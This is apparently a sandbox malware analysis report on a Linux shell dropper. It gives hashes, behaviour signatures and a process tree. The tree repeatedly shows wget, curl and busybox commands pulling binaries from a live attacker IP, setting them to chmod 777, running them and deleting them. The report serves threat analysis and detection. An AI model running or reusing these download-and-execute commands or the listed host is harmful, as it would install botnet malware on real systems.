Analysis

  • max time kernel
    34s
  • max time network
    51s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 01:59

General

  • Target

    7477bdc50195f9712b6e4ff13cd7b824e27bca345d73948c021d987b5d244514.sh

  • Size

    10KB

  • MD5

    d08f4f01c6ec9c67ead46ab98f031a55

  • SHA1

    cac804b670bc7011aff98353a06d5906917e496a

  • SHA256

    7477bdc50195f9712b6e4ff13cd7b824e27bca345d73948c021d987b5d244514

  • SHA512

    be5c70e0361500fe82048f5f3cc74bd6019fa75dc8edd3d43bdc5cf875e01e8b9a0f7922e67c42ea1a96e8821f8997c3b73c2f019b571a3ca202dc155e6bbbc7

  • SSDEEP

    192:JKto885QciICt1xQYUHgw6AtXj89F6UnrPCJpBrPCJpM21xBA885QcozXj89FWY3:JKG885QciICt1xOUnrPCJpBrPCJpM21M

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 24 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/7477bdc50195f9712b6e4ff13cd7b824e27bca345d73948c021d987b5d244514.sh
    /tmp/7477bdc50195f9712b6e4ff13cd7b824e27bca345d73948c021d987b5d244514.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://87.120.84.230/bins/0lHfL4npowzS4jGTj1i4u7HGUOFeLOPy1c
          2⤵
            PID:664
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/0lHfL4npowzS4jGTj1i4u7HGUOFeLOPy1c
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:671
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/0lHfL4npowzS4jGTj1i4u7HGUOFeLOPy1c
            2⤵
              PID:680
            • /bin/chmod
              chmod 777 0lHfL4npowzS4jGTj1i4u7HGUOFeLOPy1c
              2⤵
              • File and Directory Permissions Modification
              PID:683
            • /tmp/0lHfL4npowzS4jGTj1i4u7HGUOFeLOPy1c
              ./0lHfL4npowzS4jGTj1i4u7HGUOFeLOPy1c
              2⤵
              • Executes dropped EXE
              PID:684
            • /bin/rm
              rm 0lHfL4npowzS4jGTj1i4u7HGUOFeLOPy1c
              2⤵
                PID:686
              • /usr/bin/wget
                wget http://87.120.84.230/bins/EIbvlORrRhzsiyIXJh6ptRhv8eZurOtGq8
                2⤵
                  PID:688
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/EIbvlORrRhzsiyIXJh6ptRhv8eZurOtGq8
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:691
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/EIbvlORrRhzsiyIXJh6ptRhv8eZurOtGq8
                  2⤵
                    PID:693
                  • /bin/chmod
                    chmod 777 EIbvlORrRhzsiyIXJh6ptRhv8eZurOtGq8
                    2⤵
                    • File and Directory Permissions Modification
                    PID:694
                  • /tmp/EIbvlORrRhzsiyIXJh6ptRhv8eZurOtGq8
                    ./EIbvlORrRhzsiyIXJh6ptRhv8eZurOtGq8
                    2⤵
                    • Executes dropped EXE
                    PID:695
                  • /bin/rm
                    rm EIbvlORrRhzsiyIXJh6ptRhv8eZurOtGq8
                    2⤵
                      PID:696
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/4TOW8fpeWPUedySDj3Bn7JwNFSehOimCjA
                      2⤵
                        PID:697
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/4TOW8fpeWPUedySDj3Bn7JwNFSehOimCjA
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:698
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/4TOW8fpeWPUedySDj3Bn7JwNFSehOimCjA
                        2⤵
                          PID:699
                        • /bin/chmod
                          chmod 777 4TOW8fpeWPUedySDj3Bn7JwNFSehOimCjA
                          2⤵
                          • File and Directory Permissions Modification
                          PID:700
                        • /tmp/4TOW8fpeWPUedySDj3Bn7JwNFSehOimCjA
                          ./4TOW8fpeWPUedySDj3Bn7JwNFSehOimCjA
                          2⤵
                          • Executes dropped EXE
                          PID:701
                        • /bin/rm
                          rm 4TOW8fpeWPUedySDj3Bn7JwNFSehOimCjA
                          2⤵
                            PID:702
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/fohPRCfDwbUa538sCvtsJfDnNvMCnj35YL
                            2⤵
                              PID:704
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/fohPRCfDwbUa538sCvtsJfDnNvMCnj35YL
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:708
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/fohPRCfDwbUa538sCvtsJfDnNvMCnj35YL
                              2⤵
                                PID:718
                              • /bin/chmod
                                chmod 777 fohPRCfDwbUa538sCvtsJfDnNvMCnj35YL
                                2⤵
                                • File and Directory Permissions Modification
                                PID:721
                              • /tmp/fohPRCfDwbUa538sCvtsJfDnNvMCnj35YL
                                ./fohPRCfDwbUa538sCvtsJfDnNvMCnj35YL
                                2⤵
                                • Executes dropped EXE
                                PID:723
                              • /bin/rm
                                rm fohPRCfDwbUa538sCvtsJfDnNvMCnj35YL
                                2⤵
                                  PID:724
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/1EBVtN1Fws7MEdUaqLMe02UHZCniNB8wTD
                                  2⤵
                                    PID:725
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/1EBVtN1Fws7MEdUaqLMe02UHZCniNB8wTD
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:728
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/1EBVtN1Fws7MEdUaqLMe02UHZCniNB8wTD
                                    2⤵
                                      PID:732
                                    • /bin/chmod
                                      chmod 777 1EBVtN1Fws7MEdUaqLMe02UHZCniNB8wTD
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:735
                                    • /tmp/1EBVtN1Fws7MEdUaqLMe02UHZCniNB8wTD
                                      ./1EBVtN1Fws7MEdUaqLMe02UHZCniNB8wTD
                                      2⤵
                                      • Executes dropped EXE
                                      PID:736
                                    • /bin/rm
                                      rm 1EBVtN1Fws7MEdUaqLMe02UHZCniNB8wTD
                                      2⤵
                                        PID:737
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/6MgSwtcrgRdpWdkIWJa1jdOdSiocuOtPWj
                                        2⤵
                                          PID:739
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/6MgSwtcrgRdpWdkIWJa1jdOdSiocuOtPWj
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:742
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/6MgSwtcrgRdpWdkIWJa1jdOdSiocuOtPWj
                                          2⤵
                                            PID:746
                                          • /bin/chmod
                                            chmod 777 6MgSwtcrgRdpWdkIWJa1jdOdSiocuOtPWj
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:748
                                          • /tmp/6MgSwtcrgRdpWdkIWJa1jdOdSiocuOtPWj
                                            ./6MgSwtcrgRdpWdkIWJa1jdOdSiocuOtPWj
                                            2⤵
                                            • Executes dropped EXE
                                            PID:750
                                          • /bin/rm
                                            rm 6MgSwtcrgRdpWdkIWJa1jdOdSiocuOtPWj
                                            2⤵
                                              PID:751
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/AtHo16jIBXpk2LiRB7IDfuaxVfx8E1TbZs
                                              2⤵
                                                PID:752
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/AtHo16jIBXpk2LiRB7IDfuaxVfx8E1TbZs
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:758
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/AtHo16jIBXpk2LiRB7IDfuaxVfx8E1TbZs
                                                2⤵
                                                  PID:765
                                                • /bin/chmod
                                                  chmod 777 AtHo16jIBXpk2LiRB7IDfuaxVfx8E1TbZs
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:767
                                                • /tmp/AtHo16jIBXpk2LiRB7IDfuaxVfx8E1TbZs
                                                  ./AtHo16jIBXpk2LiRB7IDfuaxVfx8E1TbZs
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:769
                                                • /bin/rm
                                                  rm AtHo16jIBXpk2LiRB7IDfuaxVfx8E1TbZs
                                                  2⤵
                                                    PID:770
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/djVle6T71YXXfjsEnSm4CZ6stk0wE9n003
                                                    2⤵
                                                      PID:771
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/djVle6T71YXXfjsEnSm4CZ6stk0wE9n003
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:774
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/djVle6T71YXXfjsEnSm4CZ6stk0wE9n003
                                                      2⤵
                                                        PID:776
                                                      • /bin/chmod
                                                        chmod 777 djVle6T71YXXfjsEnSm4CZ6stk0wE9n003
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:777
                                                      • /tmp/djVle6T71YXXfjsEnSm4CZ6stk0wE9n003
                                                        ./djVle6T71YXXfjsEnSm4CZ6stk0wE9n003
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:778
                                                      • /bin/rm
                                                        rm djVle6T71YXXfjsEnSm4CZ6stk0wE9n003
                                                        2⤵
                                                          PID:779
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/G8rtwMrqfQ3aU5gj7b59hiJSQ7sGjeDMnp
                                                          2⤵
                                                            PID:780
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/G8rtwMrqfQ3aU5gj7b59hiJSQ7sGjeDMnp
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:781
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/G8rtwMrqfQ3aU5gj7b59hiJSQ7sGjeDMnp
                                                            2⤵
                                                              PID:784
                                                            • /bin/chmod
                                                              chmod 777 G8rtwMrqfQ3aU5gj7b59hiJSQ7sGjeDMnp
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:786
                                                            • /tmp/G8rtwMrqfQ3aU5gj7b59hiJSQ7sGjeDMnp
                                                              ./G8rtwMrqfQ3aU5gj7b59hiJSQ7sGjeDMnp
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:787
                                                            • /bin/rm
                                                              rm G8rtwMrqfQ3aU5gj7b59hiJSQ7sGjeDMnp
                                                              2⤵
                                                                PID:788
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/Pc1FZXKrrtv2wcDqtpVViWjyhlu7tQ0fiN
                                                                2⤵
                                                                  PID:790
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/Pc1FZXKrrtv2wcDqtpVViWjyhlu7tQ0fiN
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:793
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/Pc1FZXKrrtv2wcDqtpVViWjyhlu7tQ0fiN
                                                                  2⤵
                                                                    PID:798
                                                                  • /bin/chmod
                                                                    chmod 777 Pc1FZXKrrtv2wcDqtpVViWjyhlu7tQ0fiN
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:801
                                                                  • /tmp/Pc1FZXKrrtv2wcDqtpVViWjyhlu7tQ0fiN
                                                                    ./Pc1FZXKrrtv2wcDqtpVViWjyhlu7tQ0fiN
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:802
                                                                  • /bin/rm
                                                                    rm Pc1FZXKrrtv2wcDqtpVViWjyhlu7tQ0fiN
                                                                    2⤵
                                                                      PID:803
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/ukydHV98yzuiaTZfLkSAjstPpW905BtH3z
                                                                      2⤵
                                                                        PID:804
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/ukydHV98yzuiaTZfLkSAjstPpW905BtH3z
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:811
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/ukydHV98yzuiaTZfLkSAjstPpW905BtH3z
                                                                        2⤵
                                                                          PID:814
                                                                        • /bin/chmod
                                                                          chmod 777 ukydHV98yzuiaTZfLkSAjstPpW905BtH3z
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:817
                                                                        • /tmp/ukydHV98yzuiaTZfLkSAjstPpW905BtH3z
                                                                          ./ukydHV98yzuiaTZfLkSAjstPpW905BtH3z
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:818
                                                                        • /bin/rm
                                                                          rm ukydHV98yzuiaTZfLkSAjstPpW905BtH3z
                                                                          2⤵
                                                                            PID:820
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/wT5Da5WeDrvhjdwXdgOgq5Q3BGfGX9Da7h
                                                                            2⤵
                                                                              PID:821
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/wT5Da5WeDrvhjdwXdgOgq5Q3BGfGX9Da7h
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:824
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/wT5Da5WeDrvhjdwXdgOgq5Q3BGfGX9Da7h
                                                                              2⤵
                                                                                PID:829
                                                                              • /bin/chmod
                                                                                chmod 777 wT5Da5WeDrvhjdwXdgOgq5Q3BGfGX9Da7h
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:832
                                                                              • /tmp/wT5Da5WeDrvhjdwXdgOgq5Q3BGfGX9Da7h
                                                                                ./wT5Da5WeDrvhjdwXdgOgq5Q3BGfGX9Da7h
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:833
                                                                              • /bin/rm
                                                                                rm wT5Da5WeDrvhjdwXdgOgq5Q3BGfGX9Da7h
                                                                                2⤵
                                                                                  PID:834
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/FXSwQZfSDGeAuZsXY2OR6W3MpaBwxnTF1a
                                                                                  2⤵
                                                                                    PID:836

                                                                                Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • /tmp/0lHfL4npowzS4jGTj1i4u7HGUOFeLOPy1c

                                                                                        Filesize

                                                                                        153B

                                                                                        MD5

                                                                                        998368d7c95ea4293237f2320546e440

                                                                                        SHA1

                                                                                        30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                        SHA256

                                                                                        533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                        SHA512

                                                                                        648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97